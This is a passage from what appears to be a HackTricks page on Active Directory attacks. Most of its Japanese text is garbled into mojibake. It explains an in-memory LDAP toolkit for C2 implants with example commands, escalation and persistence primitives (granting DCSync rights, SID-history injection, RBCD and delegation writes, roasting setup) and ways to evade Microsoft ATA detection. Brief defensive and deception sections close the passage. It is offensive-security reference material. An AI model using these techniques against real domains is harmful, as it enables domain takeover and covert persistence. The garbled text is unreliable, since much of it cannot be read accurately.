- ãã©ã¬ã¹ãéãã©ã¹ãã«ãããŠSelective Authenticationãçšãããšãäž¡ãã©ã¬ã¹ãã®ãŠãŒã¶ãŒãèªåçã«èªèšŒãããããšãé²ããŸãã代ããã«ãä¿¡é ŒåŽã®ãã¡ã€ã³ããã©ã¬ã¹ãå ã®ãã¡ã€ã³ããµãŒãã«å¯Ÿããã¢ã¯ã»ã¹ã«ã¯æç€ºçãªæš©éãå¿ èŠã«ãªããŸãã
- ãããã®å¯Ÿçã¯ãæžã蟌ã¿å¯èœãª Configuration Naming Context (NC) ã®æªçšããã©ã¹ãã¢ã«ãŠã³ããžã®æ»æãé²ããã®ã§ã¯ãªãç¹ã«çæããŠãã ããã
More information about domain trusts in ired.team.
On-Host ã€ã³ãã©ã³ãããã® LDAP ããŒã¹ã® AD æªçš
The LDAP BOF Collection ã¯ãbloodyAD-style ã® LDAP ããªããã£ãã x64 Beacon Object Files ãšããŠåå®è£
ãããªã³ãã¹ãã€ã³ãã©ã³ãïŒäŸ: Adaptix C2ïŒå
éšã§å®å
šã«åäœããŸãããªãã¬ãŒã¿ã¯ git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make ã§ããã¯ãã³ã³ãã€ã«ããldap.axs ãããŒãããŠããŒã³ã³ãã ldap <subcommand> ãåŒã³åºããŸãããã¹ãŠã®ãã©ãã£ãã¯ã¯çŸåšã®ãã°ãªã³ã®ã»ãã¥ãªãã£ã³ã³ããã¹ãäžã§ LDAP (389) ã®çœ²å/ã·ãŒãªã³ã°ããŸãã¯èªåèšŒææžä¿¡é Œã䜿ã£ã LDAPS (636) ãçµç±ãããããsocks ãããã·ããã£ã¹ã¯äžã®ã¢ãŒãã£ãã¡ã¯ãã¯äžèŠã§ãã
ã€ã³ãã©ã³ãåŽã® LDAP åæ
get-users,get-computers,get-groups,get-usergroups, andget-groupmembersã¯çãååã OU ãã¹ãå®å šãª DN ã«è§£æ±ºãã察å¿ãããªããžã§ã¯ãããã³ãããŸããget-object,get-attribute, andget-domaininfoã¯ä»»æã®å±æ§ïŒsecurity descriptors ãå«ãïŒãrootDSEããã®ãã©ã¬ã¹ã/ãã¡ã€ã³ã®ã¡ã¿ããŒã¿ãååŸããŸããget-uac,get-spn,get-delegation, andget-rbcd㯠roasting candidatesãå§ä»»èšå®ãããã³ LDAP ããçŽæ¥ååŸããæ¢åã® Resource-based Constrained Delegation ãã£ã¹ã¯ãªãã¿ãé²åºãããŸããget-aclandget-writable --detailed㯠DACL ãè§£æããŠãã©ã¹ãã£ãŒãæš©å©ïŒGenericAll/WriteDACL/WriteOwner/attribute writesïŒããã³ç¶æ¿ãåæããACL ã«ããæš©éææ Œã®å³æã¿ãŒã²ãããæäŸããŸãã
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
LDAP write primitives for escalation & persistence
- Object creation BOFs (
add-user,add-computer,add-group,add-ou) ã«ãããOU æš©éãããå Žæãžæ°ããããªã³ã·ãã«ããã·ã³ã¢ã«ãŠã³ããé 眮ã§ããŸããadd-groupmemberãset-passwordãadd-attributeãset-attribute㯠write-property æš©éãèŠã€ãããšå¯Ÿè±¡ãçŽæ¥ä¹ã£åããŸãã add-aceãset-ownerãadd-genericallãadd-genericwriteãadd-dcsyncãšãã£ã ACL äžå¿ã®ã³ãã³ãã¯ãä»»æã® AD ãªããžã§ã¯ãäžã® WriteDACL/WriteOwner ããã¹ã¯ãŒããªã»ãããã°ã«ãŒãã¡ã³ããŒå¶åŸ¡ããŸã㯠DCSync ã¬ããªã±ãŒã·ã§ã³æš©éã«å€æããPowerShell/ADSI ã®çè·¡ãæ®ããã«å®è¡ã§ããŸããremove-*ç³»ã®ã³ãã³ãã¯æ³šå ¥ãã ACE ãã¯ãªãŒã³ã¢ããããŸãã
Delegation, roasting, and Kerberos abuse
add-spn/set-spnã¯äŸµå®³ããããŠãŒã¶ãŒãå³åº§ã« Kerberoastable ã«ããŸããadd-asreproastableïŒUAC ãã°ã«ïŒã¯ãã¹ã¯ãŒãã«è§Šããã« AS-REP roasting çšã«ããŒã¯ããŸãã- Delegation ãã¯ãïŒ
add-delegationãset-delegationãadd-constrainedãadd-unconstrainedãadd-rbcdïŒã¯ beacon ããmsDS-AllowedToDelegateToãUAC ãã©ã°ããŸãã¯msDS-AllowedToActOnBehalfOfOtherIdentityãæžãæããconstrained/unconstrained/RBCD ã®æ»æçµè·¯ãæå¹ã«ãããªã¢ãŒã PowerShell ã RSAT ã®å¿ èŠæ§ãæé€ããŸãã
sidHistory injection, OU relocation, and attack surface shaping
add-sidhistoryã¯ç¹æš© SID ãå¶åŸ¡äžã®ããªã³ã·ãã«ã® SID history ã«æ³šå ¥ããŸãïŒsee SID-History InjectionïŒãããã«ãã LDAP/LDAPS äžã§ã¹ãã«ã¹ãªã¢ã¯ã»ã¹ç¶æ¿ãå¯èœã«ãªããŸããmove-objectã¯ã³ã³ãã¥ãŒã¿ããŠãŒã¶ãŒã® DN/OU ã倿Žããæ»æè ãset-passwordãadd-groupmemberããŸãã¯add-spnãæªçšããåã«ãæ¢ã«å§ä»»æš©éãååšãã OU ã«è³ç£ãç§»åã§ããŸãã- ã¹ã³ãŒããéå®ããåé€ã³ãã³ãïŒ
remove-attributeãremove-delegationãremove-rbcdãremove-uacãremove-groupmemberãªã©ïŒã«ããããªãã¬ãŒã¿ãŒãè³æ Œæ å ±ãæ°žç¶åãåéããåŸã«è¿ éã«ããŒã«ããã¯ã§ãããã¬ã¡ããªãæå°åããŸãã
AD -> Azure & Azure -> AD
Page not found - HackTricks Cloud
Some General Defenses
Learn more about how to protect credentials here.
Defensive Measures for Credential Protection
- Domain Admins Restrictions: Domain Admins 㯠Domain Controllers ã®ã¿ã«ãã°ã€ã³ãèš±å¯ããä»ã®ãã¹ãã§ã®äœ¿çšãé¿ããããšãæšå¥šãããŸãã
- Service Account Privileges: ãµãŒãã¹ã¯ DA æš©éã§å®è¡ãããã¹ãã§ã¯ãããŸããã
- Temporal Privilege Limitation: DA æš©éãå¿
èŠãšããã¿ã¹ã¯ã«ã€ããŠã¯ããã®æéãéå®ããã¹ãã§ããäŸ:
Add-ADGroupMember -Identity âDomain Adminsâ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)
Implementing Deception Techniques
- 欺çã®å®è£ ã¯çœ ã®èšçœ®ïŒäŸïŒãã¹ã¯ãŒããæéåãã«ãªããªãããŸã㯠Trusted for Delegation ã«ããŒã¯ããããã³ã€ãŠãŒã¶ãŒãã³ã³ãã¥ãŒã¿ãŒïŒã䌎ããŸãã詳现ãªã¢ãããŒãã«ã¯ãç¹å®ã®æš©éãæã€ãŠãŒã¶ãŒãäœæãããã髿š©éã°ã«ãŒãã«è¿œå ãããããããšãå«ãŸããŸãã
- å®çšäŸ:
Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose - More on deploying deception techniques can be found at Deploy-Deception on GitHub.
Identifying Deception
- For User Objects: çãããææšã«ã¯ãå žåçã§ãªã ObjectSIDããã°ãªã³é »åºŠã®äœããäœææ¥æãäœã bad password ã«ãŠã³ããªã©ãå«ãŸããŸãã
- General Indicators: æœåšçãªãã³ã€ãªããžã§ã¯ãã®å±æ§ãæ£èŠã®ãªããžã§ã¯ããšæ¯èŒããããšã§äžæŽåãèŠã€ããããŸããHoneypotBuster ã®ãããªããŒã«ã欺çã®èå¥ãæ¯æŽããŸãã
Bypassing Detection Systems
- Microsoft ATA Detection Bypass:
- User Enumeration: ATA æ€åºãé¿ããããã«ãDomain Controllers äžã§ã®ã»ãã·ã§ã³åæãé¿ããŸãã
- Ticket Impersonation: ãã±ããäœæã« aes ããŒã䜿çšããããšã§ãNTLM ã«ãã©ãŒã«ããã¯ããªãããæ€åºãåé¿ãããããªããŸãã
- DCSync Attacks: ATA æ€åºãé¿ããããã«ã¯ãDomain Controller 以å€ããå®è¡ããããšãæšå¥šãããŸããDomain Controller ããçŽæ¥å®è¡ãããšã¢ã©ãŒããçºçããŸãã
åè
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- LDAP BOF Collection â In-Memory LDAP Toolkit for Active Directory Exploitation
- TrustedSec â Holy Shuck! Weaponizing NTLM Hashes as a Wordlist
- Hashcat
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


